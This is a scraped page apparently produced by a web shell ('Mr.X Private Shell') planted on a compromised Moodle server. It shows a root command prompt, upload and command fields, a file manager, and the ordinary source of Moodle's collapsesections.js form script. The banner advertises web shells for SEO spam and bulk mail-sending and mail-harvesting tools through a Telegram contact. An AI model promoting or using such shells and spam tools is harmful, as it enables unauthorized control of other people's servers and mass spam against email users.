__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.122: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Collapse or expand all form sections on clicking the expand all / collapse al link.
 *
 * @module core_form/collapsesections
 * @copyright 2021 Bas Brands
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since 4.0
 */

import $ from 'jquery';
import Pending from 'core/pending';

const SELECTORS = {
    FORM: '.mform',
    FORMHEADER: '.fheader',
    FORMCONTAINER: 'fieldset > .fcontainer',
};

const CLASSES = {
    SHOW: 'show',
    COLLAPSED: 'collapsed',
    HIDDEN: 'd-none'
};

/**
 * Initialises the form section collapse / expand action.
 *
 * @param {string} collapsesections the collapse/expand link id.
 */
export const init = collapsesections => {
    // All jQuery in this code can be replaced when MDL-71979 is integrated (move to Bootstrap 5).
    const pendingPromise = new Pending('core_form/collapsesections');
    const collapsemenu = document.querySelector(collapsesections);

    const formParent = collapsemenu.closest(SELECTORS.FORM);
    const formContainers = formParent.querySelectorAll(SELECTORS.FORMCONTAINER);

    collapsemenu.addEventListener('keydown', e => {
        if (e.key === 'Enter' || e.key === ' ') {
            e.preventDefault();
            collapsemenu.click();
        }
    });

    // Override default collapse class if all visible containers are expanded on page load
    let formcontainercount = 0;
    let expandedcount = 0;
    formContainers.forEach(container => {
        const parentFieldset = container.parentElement;
        if (!parentFieldset.classList.contains(CLASSES.HIDDEN)) {
            formcontainercount++;
        }
        if (container.classList.contains(CLASSES.SHOW)) {
            expandedcount++;
        }
    });

    if (formcontainercount === expandedcount) {
        collapsemenu.classList.remove(CLASSES.COLLAPSED);
        collapsemenu.setAttribute('aria-expanded', true);
    }

    // When the collapse menu is toggled, update each form container to match.
    collapsemenu.addEventListener('click', () => {
        let action = 'hide';
        if (collapsemenu.classList.contains(CLASSES.COLLAPSED)) {
            action = 'show';
        }

        formContainers.forEach(container => $(container).collapse(action));
    });

    // Ensure collapse menu button adds aria-controls attribute referring to each collapsible element.
    const collapseElements = formParent.querySelectorAll(SELECTORS.FORMHEADER);
    const collapseElementIds = [...collapseElements].map((element, index) => {
        element.id = element.id || `collapseElement-${index}`;
        return element.id;
    });
    collapsemenu.setAttribute('aria-controls', collapseElementIds.join(' '));

    // When any form container is toggled, re-calculate collapse menu state.
    $(SELECTORS.FORMCONTAINER).on('hidden.bs.collapse', () => {
        const allCollapsed = [...formContainers].every(container => !container.classList.contains(CLASSES.SHOW));
        if (allCollapsed) {
            collapsemenu.classList.add(CLASSES.COLLAPSED);
            collapsemenu.setAttribute('aria-expanded', false);
        }
    });
    $(SELECTORS.FORMCONTAINER).on('shown.bs.collapse', () => {
        const allExpanded = [...formContainers].every(container => container.classList.contains(CLASSES.SHOW));
        if (allExpanded) {
            collapsemenu.classList.remove(CLASSES.COLLAPSED);
            collapsemenu.setAttribute('aria-expanded', true);
        }
    });
    pendingPromise.resolve();
};

Filemanager

Name Type Size Permission Actions
changechecker.js File 14.04 KB 0644
choicedropdown.js File 5.06 KB 0644
collapsesections.js File 4.07 KB 0644
configtext_maxlength.js File 4.43 KB 0644
defaultcustom.js File 2.34 KB 0644
dynamicform.js File 13.08 KB 0644
encryptedpassword.js File 3.53 KB 0644
events.js File 8.81 KB 0644
filetypes.js File 10.89 KB 0644
modalform.js File 16 KB 0644
passwordunmask.js File 10.17 KB 0644
showadvanced.js File 7.8 KB 0644
submit.js File 5.55 KB 0644
util.js File 1.26 KB 0644
Filemanager